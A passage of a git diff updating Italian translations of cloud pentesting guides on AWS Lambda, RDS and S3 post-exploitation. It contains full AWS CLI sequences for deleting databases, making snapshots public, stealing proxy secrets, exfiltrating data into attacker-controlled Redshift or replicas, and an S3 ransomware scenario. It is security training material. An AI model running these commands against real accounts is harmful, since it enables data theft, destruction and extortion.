una specifica versione del runtime (Manual) o bloccare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con layer/wrapper malevoli e può mantenere la function su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine. {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -56,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group. +Abusa dei controlli di logging avanzati di `lambda:UpdateFunctionConfiguration` per reindirizzare i log di una function verso un log group di CloudWatch Logs scelto dall'attacker. Questo funziona senza cambiare il codice o l'execution role (la maggior parte dei ruoli Lambda include già `logs:CreateLogGroup/CreateLogStream/PutLogEvents` tramite `AWSLambdaBasicExecutionRole`). Se la function stampa secrets/request bodies o va in crash con stack traces, puoi raccoglierli dal nuovo log group. {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -64,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations. +Trasforma una Lambda Function URL privata in un endpoint pubblico non autenticato impostando il Function URL AuthType su NONE e allegando una resource-based policy che concede lambda:InvokeFunctionUrl a chiunque. Questo permette invocazioni anonime di function interne e può esporre operazioni backend sensibili. {{#ref}} aws-lambda-function-url-public-exposure.md @@ -72,7 +72,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code. +Abusa di `UpdateEventSourceMapping` per cambiare la target Lambda function di un Event Source Mapping (ESM) esistente in modo che i record da DynamoDB Streams, Kinesis o SQS vengano consegnati a una function controllata dall'attacker. Questo devia silenziosamente i dati live senza toccare i producer o il codice della function originale. {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -80,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access. +Abusa di `lambda:UpdateFunctionConfiguration` per collegare un EFS Access Point esistente a una Lambda, poi deploya codice semplice che elenca/legge file dal path montato per esfiltrare shared secrets/config a cui la function prima non poteva accedere. {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 402e1377b..34768627f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -12,7 +12,7 @@ Per maggiori informazioni consulta: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Se l'attacker ha permessi sufficienti, potrebbe rendere un **DB pubblicamente accessibile** creando uno snapshot del DB e poi un DB pubblicamente accessibile dallo snapshot. +Se l'attaccante dispone di permessi sufficienti, può rendere un DB **accessibile pubblicamente** creando uno snapshot del DB e poi ripristinando un DB accessibile pubblicamente da quello snapshot. ```bash aws rds describe-db-instances # Get DB identifier @@ -39,21 +39,22 @@ aws rds modify-db-instance \ # Connect to the new DB after a few mins ``` ### `rds:StopDBCluster` & `rds:StopDBInstance` -Un attacker con rds:StopDBCluster o rds:StopDBInstance può forzare l'arresto immediato di un'istanza RDS o di un intero cluster, causando l'indisponibilità del database, connessioni interrotte e l'interruzione dei processi che dipendono dal database. -Per arrestare una singola istanza DB (esempio): +Un attacker con rds:StopDBCluster o rds:StopDBInstance può forzare l'arresto immediato di un'istanza RDS o di un intero cluster, causando l'indisponibilità del database, connessioni interrotte e l'interruzione di processi che dipendono dal database. + +Per fermare una singola istanza DB (esempio): ```bash aws rds stop-db-instance \ --db-instance-identifier ``` -Per fermare un intero cluster DB (esempio): +Per arrestare un intero DB cluster (esempio): ```bash aws rds stop-db-cluster \ --db-cluster-identifier ``` ### `rds:Delete*` -Un attaccante a cui è concesso rds:Delete* può rimuovere le risorse RDS, eliminando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatti correlati, causando un'immediata interruzione del servizio, perdita di dati, distruzione dei punti di ripristino e perdita di prove forensi. +Un attacker a cui è stato concesso rds:Delete* può rimuovere risorse RDS, eliminando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatti correlati, causando interruzione immediata del servizio, perdita di dati, distruzione dei recovery points e perdita di prove forensi. ```bash # Delete a DB instance (creates a final snapshot unless you skip it) aws rds delete-db-instance \ @@ -76,9 +77,9 @@ aws rds delete-db-cluster \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare un DB nel proprio account a partire da quello snapshot. +Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare nel proprio account un DB da quello snapshot. -Se l'attaccante **non ha il `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**. +Se l'attaccante **non ha il `rds:CreateDBSnapshot`**, potrebbe comunque rendere **pubblici** altri snapshot creati. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -89,48 +90,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono accidentalmente registrati nei log, l'attaccante potrebbe utilizzare queste informazioni per aumentare i propri privilegi o eseguire azioni non autorizzate. +Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono registrati accidentalmente, l'attaccante potrebbe potenzialmente usare queste informazioni per ottenere privilegi più elevati o eseguire azioni non autorizzate. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Impatto potenziale**: Accesso a informazioni sensibili o esecuzione di azioni non autorizzate utilizzando leaked credentials. +**Impatto potenziale**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando leaked credentials. ### `rds:DeleteDBInstance` -Un attaccante con questi permessi può **DoS existing RDS instances**. +Un attaccante con queste autorizzazioni può **DoS le istanze RDS esistenti**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Potential impact**: Cancellazione delle istanze RDS esistenti e possibile perdita di dati. +**Impatto potenziale**: Eliminazione delle istanze RDS esistenti e potenziale perdita di dati. ### `rds:StartExportTask` > [!NOTE] -> TODO: Testare +> TODO: Da testare -Un attacker con questa autorizzazione può esportare lo snapshot di un'istanza RDS in un bucket S3. Se l'attacker ha il controllo del bucket S3 di destinazione, può potenzialmente accedere ai dati sensibili contenuti nello snapshot esportato. +Un attaccante con questa autorizzazione può **esportare lo snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo del bucket S3 di destinazione, può potenzialmente accedere ai dati sensibili contenuti nello snapshot esportato. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` **Impatto potenziale**: Accesso a dati sensibili nello snapshot esportato. -### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Replicazione cross-Region dei backup automatizzati per un ripristino furtivo (`rds:StartDBInstanceAutomatedBackupsReplication`) -Sfruttare cross-Region automated backups replication per duplicare silenziosamente gli automated backups di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato pubblicamente accessibile e reimpostare la master password per accedere ai dati out-of-band in una Region che i difensori potrebbero non monitorare. +Sfruttare la replica cross-Region dei backup automatizzati per duplicare silenziosamente i backup automatizzati di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato accessibile pubblicamente e resettare la password principale per accedere ai dati fuori banda in una Region che i difensori potrebbero non monitorare. Permessi necessari (minimi): -- `rds:StartDBInstanceAutomatedBackupsReplication` nella Region di destinazione -- `rds:DescribeDBInstanceAutomatedBackups` nella Region di destinazione -- `rds:RestoreDBInstanceToPointInTime` nella Region di destinazione -- `rds:ModifyDBInstance` nella Region di destinazione +- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region +- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region +- `rds:RestoreDBInstanceToPointInTime` in the destination Region +- `rds:ModifyDBInstance` in the destination Region - `rds:StopDBInstanceAutomatedBackupsReplication` (pulizia opzionale) - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (per esporre il DB ripristinato) -Impatto: Persistenza e data exfiltration ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante. +Impatto: Persistenza ed esfiltrazione di dati ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante.
-Esempio CLI end-to-end (sostituire i segnaposto) +CLI end-to-end (sostituire i segnaposto) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -199,26 +200,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### Abilitare il logging SQL completo via DB parameter groups ed esfiltrare tramite RDS log APIs +### Abilita il logging SQL completo tramite DB parameter groups ed exfiltrate tramite RDS log APIs -Abusare di `rds:ModifyDBParameterGroup` con le RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie credenziali del DB engine). Abilitare il logging SQL dell'engine e recuperare i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o il REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs. +Abusa di `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie le credenziali del DB engine). Abilita il logging SQL dell'engine e recupera i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs. Permessi necessari (minimi): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) -- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) +- `rds:ModifyDBInstance` (solo per associare un custom parameter group se l'istanza sta usando quello di default) +- `rds:RebootDBInstance` (per parametri che richiedono il reboot, es. PostgreSQL) Passaggi -1) Recon target e current parameter group +1) Recon target and current parameter group ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Assicurati che sia associato un custom DB parameter group (non è possibile modificare il default) -- Se l'istanza usa già un custom group, riutilizza il suo nome nel passo successivo. -- Altrimenti crea e associa uno corrispondente alla engine family: +2) Assicurati che sia associato un gruppo di parametri DB personalizzato (non è possibile modificare il predefinito) +- Se l'istanza usa già un gruppo personalizzato, riutilizza il suo nome nel passaggio successivo. +- Altrimenti crea e associa uno che corrisponda alla famiglia del motore: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -233,7 +234,7 @@ aws rds modify-db-instance \ # Wait until status becomes "available" ``` 3) Abilitare il logging SQL dettagliato -- MySQL engines (immediato / senza riavvio): +- motori MySQL (immediato / senza riavvio): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -244,7 +245,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- Motori PostgreSQL (riavvio richiesto): +- PostgreSQL engines (richiede riavvio): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -256,7 +257,7 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Lascia eseguire il workload (o genera query). Le istruzioni saranno scritte nei file di log del motore +4) Lascia che il carico di lavoro venga eseguito (o genera query). Le istruzioni SQL verranno scritte nei file di log del motore - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` @@ -297,19 +298,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Impatto: Post-exploitation accesso ai dati catturando tutte le SQL statements dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, and PII. +Impatto: Accesso ai dati post-exploitation catturando tutte le istruzioni SQL dell'applicazione via AWS APIs (senza credenziali DB), potenzialmente leaking secrets, JWTs e PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Abuse RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le primary instance credentials. Un attacker può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non cambia la primary), e opzionalmente esporre la replica pubblicamente per exfiltrate data. +Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attaccante può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica la primaria), e opzionalmente esporre la replica pubblicamente per exfiltrate data. -Permissions needed (minimum): +Permessi necessari (minimi): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (se esposta pubblicamente) -Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con attacker-controlled credentials; minore probabilità di rilevamento poiché la primary rimane intatta e la replication continua. +Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attaccante; minore probabilità di rilevamento poiché l'istanza primaria resta intatta e la replicazione continua. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -341,12 +342,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # aws rds promote-read-replica --db-instance-identifier ``` Esempio di evidenza (MySQL): -- Stato DB replica: `available`, replicazione in lettura: `replicating` -- Connessione riuscita con nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica. +- Stato DB replica: `available`, replicazione in sola lettura: `replicating` +- Connessione riuscita con la nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Sfrutta RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Quindi resetta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione di snapshot e spesso aggira i sistemi di monitoraggio focalizzati solo sulla sorgente. +Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali master del green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più stealthy dello snapshot sharing e spesso bypassa il monitoraggio focalizzato solo sulla sorgente. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -393,21 +394,22 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Impatto: Accesso completo in sola lettura a una copia quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per estrazione dati furtiva e analisi offline. +Impatto: Accesso in sola lettura ma completo ai dati di una clone quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per estrazione furtiva di dati e analisi offline. -### SQL fuori banda via RDS Data API abilitando l'HTTP endpoint + reimpostando la master password -Abuse Aurora per abilitare l'HTTP endpoint del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL via HTTPS (non è richiesta connettività di rete VPC). Funziona su motori Aurora che supportano Data API/EnableHttpEndpoint (es., Aurora MySQL 8.0 provisioned; alcune versioni Aurora PostgreSQL/MySQL). +### SQL out-of-band via RDS Data API abilitando HTTP endpoint + reimpostando la master password + +Sfrutta Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la master password con un valore sotto il tuo controllo ed eseguire SQL via HTTPS (non è richiesto un percorso di rete VPC). Funziona sui motori Aurora che supportano il Data API/EnableHttpEndpoint (es. Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL). Permessi (minimi): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Impatto: Bypass della segmentazione di rete ed esfiltrare dati tramite AWS APIs senza connettività VPC diretta al DB. +Impatto: Bypass della segmentazione di rete ed esfiltrazione dei dati tramite AWS APIs senza connettività VPC diretta al DB.
-CLI end-to-end (esempio Aurora MySQL) +Esempio CLI end-to-end (Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -460,21 +462,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Note: -- Se rds-data rifiuta SQL con più istruzioni, eseguire chiamate separate execute-statement. -- Per motori in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn. -- Verificare che l'engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled rimarrà False. +- Se SQL multi-statement è rifiutato da rds-data, esegui chiamate execute-statement separate. +- Per engine dove modify-db-cluster --enable-http-endpoint non ha effetto, usa rds enable-http-endpoint --resource-arn. +- Assicurati che l'engine/version supporti effettivamente il Data API; altrimenti HttpEndpointEnabled rimarrà False. -### Raccogliere credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Recupero delle credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi a `secretsmanager:GetSecretValue`, rendendo questo un pivot a bassa frizione verso le credenziali DB. Se il secret utilizza una CMK, permessi KMS mal configurati potrebbero anche consentire `kms:Decrypt`. +Abusa della configurazione di RDS Proxy per scoprire il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggi il secret per ottenere le credenziali del database. Molti ambienti concedono ampio `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret utilizza una CMK, permessi KMS mal configurati possono anche permettere `kms:Decrypt`. -Permessi necessari (minimo): +Permessi necessari (minimi): - `rds:DescribeDBProxies` - `secretsmanager:GetSecretValue` sul SecretArn referenziato -- Opzionale quando il secret usa una CMK: `kms:Decrypt` su quella key +- Opzionale quando il secret usa una CMK: `kms:Decrypt` su quella chiave -Impatto: divulgazione immediata di username/password DB configurati sul proxy; consente accesso diretto al DB o ulteriori movimenti laterali. +Impatto: Divulgazione immediata dello username/password del DB configurato sul proxy; consente accesso diretto al DB o ulteriori movimenti laterali. Passaggi ```bash @@ -489,7 +491,7 @@ aws secretsmanager get-secret-value \ --query SecretString --output text # Example output: {"username":"admin","password":"S3cr3t!"} ``` -Lab (minimale per riprodurre) +Laboratorio (minimo per riprodurre) ```bash REGION=us-east-1 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) @@ -508,27 +510,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ aws rds wait db-proxy-available --db-proxy-name p0 # Now run the enumeration + secret read from the Steps above ``` -Pulizia (lab) +Pulizia (laboratorio) ```bash aws rds delete-db-proxy --db-proxy-name p0 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### Esfiltrazione continua stealth via Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration) +### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) -Sfrutta l'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una resource policy di Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per uno specifico Aurora cluster ARN, un attacker può stabilire una copia dei dati quasi in tempo reale senza credenziali DB, snapshot o esposizione di rete. +Abusa dell'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una Redshift resource policy permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per un ARN del cluster Aurora specifico, un attacker può stabilire una copia dei dati quasi in tempo reale senza DB creds, snapshots o esposizione di rete. -Permessi necessari (minimo): +Permissions needed (minimum): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (per interrogare) -- `rds-data:ExecuteStatement` (opzionale; per popolare dati se necessario) +- `rds-data:ExecuteStatement` (opzionale; per popolare i dati se necessario) -Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. +Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
-1) Crea namespace Redshift Serverless + workgroup +1) Creare namespace Redshift Serverless + workgroup ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ @@ -544,7 +546,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Configurare la policy delle risorse di Redshift per consentire la sorgente Aurora +2) Configurare la resource policy di Redshift per consentire la sorgente Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= @@ -575,7 +577,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Creare un cluster Aurora PostgreSQL (abilitare Data API e logical replication) +3) Crea un cluster Aurora PostgreSQL (abilita Data API e logical replication) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -606,7 +608,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) Crea l'integrazione zero‑ETL da RDS +4) Creare l'integrazione zero‑ETL da RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -633,10 +635,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d Evidenze osservate nel test: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION mostrava integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation. -- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha mostrato lo schema ztl e la tabella customers; la SELECT su ztl.customers ha restituito 2 righe (Alice, Bob). +- SVV_INTEGRATION mostrava integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e lo stato PendingDbConnectState prima della creazione del DB. +- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; eseguendo SELECT su ztl.customers sono state restituite 2 righe (Alice, Bob). -Impatto: Continuous near‑real‑time exfiltration of selected Aurora PostgreSQL tables into Redshift Serverless controlled by the attacker, without using database credentials, backups, or network access to the source cluster. +Impatto: Continuous near‑real‑time exfiltration di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza utilizzare credenziali del database, backup o accesso di rete al cluster sorgente. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index db58cca16..f962cb354 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -10,32 +10,32 @@ Per maggiori informazioni consulta: ../../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### Informazioni sensibili -A volte potrai trovare informazioni sensibili leggibili nei buckets. Per esempio, terraform state secrets. +Talvolta potrai trovare informazioni sensibili leggibili nei bucket. Per esempio, i segreti dello terraform state. ### Pivoting -Diverse piattaforme potrebbero usare S3 per immagazzinare asset sensibili.\ -Per esempio, **airflow** potrebbe memorizzare il **DAGs** **code** lì, oppure **web pages** potrebbero essere servite direttamente da S3. Un attacker con write permissions potrebbe **modify the code** dal bucket per **pivot** verso altre piattaforme, oppure **takeover accounts** modificando file JS. +Different platforms could be using S3 to store sensitive assets.\ +For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Un attaccante con permessi di scrittura potrebbe **modificare il code** presente nel bucket per **pivot** verso altre piattaforme, o **takeover accounts** modificando file JS. ### S3 Ransomware -In questo scenario, l'**attacker crea una KMS (Key Management Service) key nel proprio account AWS** o in un altro account compromesso. Rende poi questa **key accessibile a chiunque nel mondo**, permettendo a qualsiasi AWS user, role o account di encryptare oggetti usando questa key. Tuttavia, gli oggetti non possono essere decryptati. +In questo scenario, l'**attaccante crea una KMS (Key Management Service) key nel proprio account AWS** o in un altro account compromesso. Rende poi questa **key accessibile a chiunque al mondo**, permettendo a qualsiasi user, role o account AWS di criptare oggetti usando questa key. Tuttavia, gli oggetti non possono essere decriptati. -L'attacker identifica un target **S3 bucket e ottiene accesso a livello di write** su di esso con vari metodi. Questo può avvenire a causa di una cattiva configurazione del bucket che lo espone pubblicamente o ottenendo accesso all'environment AWS stesso. L'attacker tipicamente prende di mira bucket che contengono informazioni sensibili come PII, PHI, logs, backups e altro. +L'attaccante identifica un bucket S3 target e ottiene accesso in scrittura su di esso usando vari metodi. Questo può avvenire a causa di una cattiva configurazione del bucket che lo espone pubblicamente o perché l'attaccante ha ottenuto accesso all'environment AWS stesso. Tipicamente l'attaccante prende di mira bucket che contengono informazioni sensibili come PII, PHI, logs, backup e altro. -Per determinare se il bucket può essere preso di mira per ransomware, l'attacker verifica la sua configurazione. Questo include controllare se **S3 Object Versioning** è enabled e se **multi-factor authentication delete (MFA delete)** è enabled. Se Object Versioning non è enabled, l'attacker può procedere. Se Object Versioning è enabled ma MFA delete è disabled, l'attacker può **disabilitare Object Versioning**. Se sia Object Versioning che MFA delete sono enabled, diventa più difficile per l'attacker fare ransomware su quel bucket specifico. +Per determinare se il bucket è vulnerabile al ransomware, l'attaccante verifica la sua configurazione. Questo include controllare se **S3 Object Versioning** è abilitato e se **multi-factor authentication delete (MFA delete)** è abilitato. Se Object Versioning non è abilitato, l'attaccante può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attaccante può **disabilitare Object Versioning**. Se sia Object Versioning che MFA delete sono abilitati, diventa più difficile per l'attaccante criptare con ransomware quel bucket specifico. -Usando l'AWS API, l'attacker **sostituisce ogni oggetto nel bucket con una copia encryptata usando la propria KMS key**. Questo cifra efficacemente i dati nel bucket, rendendoli inaccessibili senza la key. +Usando l'API AWS, l'attaccante **sostituisce ogni oggetto nel bucket con una copia cifrata usando la propria KMS key**. Questo cifra effettivamente i dati nel bucket, rendendoli inaccessibili senza la key. -Per aumentare la pressione, l'attacker programma la cancellazione della KMS key usata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i dati prima che la key venga cancellata e i dati vadano perduti in modo permanente. +Per aumentare la pressione, l'attaccante programma la cancellazione della KMS key usata nell'attacco. Questo concede al target una finestra di 7 giorni per recuperare i dati prima che la key venga eliminata e i dati vadano persi in modo permanente. -Infine, l'attacker potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt", che contiene istruzioni per il target su come recuperare i file. Questo file viene caricato senza encrypt, probabilmente per attirare l'attenzione del target e renderlo consapevole dell'attacco ransomware. +Infine, l'attaccante potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt", che contiene istruzioni per il target su come recuperare i file. Questo file viene caricato senza cifratura, probabilmente per attirare l'attenzione del target e renderlo consapevole dell'attacco ransomware. ### `s3:RestoreObject` -Un attacker con la permission s3:RestoreObject può riattivare oggetti archiviati in Glacier o Deep Archive, rendendoli temporaneamente 